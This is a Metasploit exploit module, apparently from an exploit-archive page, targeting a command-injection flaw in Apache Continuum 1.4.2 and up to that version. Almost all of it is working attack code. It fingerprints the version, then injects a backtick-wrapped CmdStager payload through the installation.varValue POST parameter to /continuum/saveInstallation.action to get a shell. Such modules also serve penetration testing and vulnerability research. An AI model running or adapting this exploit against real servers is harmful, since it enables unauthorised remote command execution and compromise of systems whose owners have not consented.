Apache Continuum 1.4.2 Arbitrary Command Execution
Posted on 14 June 2016
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Apache Continuum Arbitrary Command Execution', 'Description' => %q{ This module exploits a command injection in Apache Continuum <= 1.4.2. By injecting a command into the installation.varValue POST parameter to /continuum/saveInstallation.action, a shell can be spawned. }, 'Author' => [ 'David Shanahan', # Proof of concept 'wvu' # Metasploit module ], 'References' => [ %w{EDB 39886} ], 'DisclosureDate' => 'Apr 6 2016', 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X86_64], 'Privileged' => false, 'Targets' => [ ['Apache Continuum <= 1.4.2', {}] ], 'DefaultTarget' => 0 )) register_options([ Opt::RPORT(8080) ]) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => '/continuum/about.action' ) if res && res.body.include?('1.4.2') CheckCode::Appears elsif res && res.code == 200 CheckCode::Detected else CheckCode::Safe end end def exploit print_status('Injecting CmdStager payload...') execute_cmdstager(flavor: :bourne) end def execute_command(cmd, opts = {}) send_request_cgi( 'method' => 'POST', 'uri' => '/continuum/saveInstallation.action', 'vars_post' => { 'installation.name' => Rex::Text.rand_text_alpha(8), 'installation.type' => 'jdk', 'installation.varValue' => '`' + cmd + '`' } ) end end